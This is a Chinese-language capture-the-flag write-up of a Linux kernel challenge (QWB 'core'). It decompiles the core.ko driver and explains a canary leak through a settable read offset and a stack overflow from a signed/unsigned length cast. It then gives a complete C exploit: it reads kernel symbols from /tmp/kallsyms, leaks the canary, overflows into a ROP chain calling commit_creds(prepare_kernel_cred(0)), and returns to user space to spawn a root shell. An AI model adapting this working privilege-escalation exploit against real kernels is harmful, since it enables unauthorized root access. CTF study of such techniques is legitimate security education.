在学习 linux kernel exploit 技术以后在越来越觉得C语言指针的重要性,因为指针的问题,以至于这个exp我断断续续的写了接近一周。

保护分析

kaka@kaka-virtual-machine:~/kernelpwn/core/core$ checksec core.ko 
[*] '/home/kaka/kernelpwn/core/core/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)
kaka@kaka-virtual-machine:~/kernelpwn/core/core$ checksec vmlinux 
[*] '/home/kaka/kernelpwn/core/core/vmlinux'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000)
    RWX:      Has RWX segments

驱动文件存在canary,vmlinux的基址可以通过偏移计算其他函数/gadgets地址。并且在init文件中可以发现拷贝了一份kallsyms到tmp文件夹中,并且所有用户可读,因此可以泄露一些函数地址。

core.ko 驱动分析

core_ioctl 函数

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // rbx

  v3 = a3;
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = v3;
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

根据第二个参数使用不同的功能。

core_read 函数

unsigned __int64 __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx
  __int64 *v2; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  v1 = a1;
  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = &v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 = (__int64 *)((char *)v2 + 4);
  }
  strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(v1, (char *)&v5 + off, 64LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}

copy_to_user 函数向userspace传递64字节数据,v5的地址处于函数栈顶,根据off参数设置新的偏移(地址),off参数可以通过ioctl设置,可以利用这个功能leak canary。

core_write 函数

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx

  v3 = a3;
  printk(&unk_215);
  if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
    return (unsigned int)v3;
  printk(&unk_230);
  return 4294967282LL;
}

通过copy_from_user函数向一个全局变量地址写入不超过0x800字节的数据

core_copy_func 函数

signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
  signed __int64 result; // rax
  __int64 v2; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v2, &name, (unsigned __int16)a1);
  }
  return result;
}

先对传入的a1(即读入数据的字节数)进行判断,如果大于 63 ,直接 return,但是没有对a1的正负做判断,

这里面将a1将之转换为 unsigned _int16 类型。因此如果我们传入一个负值(高位为1)时,就可以绕过。导致溢出。

利用分析

  • 首先需要leak canary,通过set off的值大于8即可,当set off的值为0x40时,leak的前八个字节就是canary。
  • 通过qemu的启动脚本可知,并没有开启smep,smap保护,可以直接在返回的的时候指向用户空间的代码,因此可以使用
    commit_creds(prepare_kernel_cred(0))得到root权限。
  • 64位系统 从内核空间->用户空间,需要执行两条指令swapgs;iretq;

swapgs指令通过用一个MSR中的值交换GS寄存器的内容。在进入内核空间例行程序(例如系统调用)时会执行swapgs指令以获取指向内核数据结构的指针,因此在返回用户空间之前需要一个匹配的swapgs。

rop

首先在core_read函数下一个断点,可以在$rsp+0x40处找到canary,在$rsp+0x50处发现一个驱动函数地址,可以根据这个地址找到gadgets对应的地址。

在core_copy_func函数ret指令处下一个断点

根据返回地址可以判断即将要执行用户空间提权代码,且返回地址位swapgs指令地址。

exploit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>

#define COMMAND_READ 0x6677889B
#define COMMAND_PRINT 0x6677889C
#define COMMAND_COPY 0x6677889A

unsigned long user_cs,user_ss,user_rflags;
unsigned long long commit_creds = 0;
unsigned long long prepare_kernel_cred = 0;

static void save_state()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
        :
        : "memory");
}

void get_root()
{
    char * (* pkc)(int) = prepare_kernel_cred;
    void (* cc)(char *) = commit_creds;
    (* cc)((* pkc)(0));
}

void getshell()
{
    system("/bin/sh");
}

unsigned long get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy, sym[512];
    int ret = 0;
 
    f = fopen("/tmp/kallsyms", "r");
    if (!f) {
    return 0;
    }
 
    while (ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
    if (ret == 0) {
        fscanf(f, "%s\n", sym);
        continue;
    }
    if (!strcmp(name, sym)) {
        printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
        fclose(f);
        return addr;
    }
    }
    fclose(f);
 
    return 0;
}

int main(int argc,char ** argv)
{
    commit_creds = get_symbol("commit_creds");
    prepare_kernel_cred = get_symbol("prepare_kernel_cred");
    char fake_stack[0x100];
    char * leak = (char *)malloc(1024);
    int fd = open("/proc/core",O_RDWR);

    ioctl(fd,COMMAND_PRINT,0x40);
    ioctl(fd,COMMAND_READ,leak);
    unsigned long long canary = ((unsigned long long *)leak)[0];
    printf("[*] canary : 0x%llx\n",canary);
    unsigned long long ret_addr = ((unsigned long long *)leak)[2];
    unsigned long long iret_addr = prepare_kernel_cred - 0x4c21e;
    save_state();
    unsigned long long payload[]={
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    canary,
    0x9090909090909090,
    &get_root,
    ret_addr - 0xc5,
    &fake_stack - 0x100,
    iret_addr,
    &getshell,
    user_cs,
    user_rflags,
    &fake_stack - 0x100,
    user_ss
    };
    write(fd,payload,sizeof(payload));
    ioctl(fd,COMMAND_COPY,0xf0000000000000b0);

    return 0;
}

preView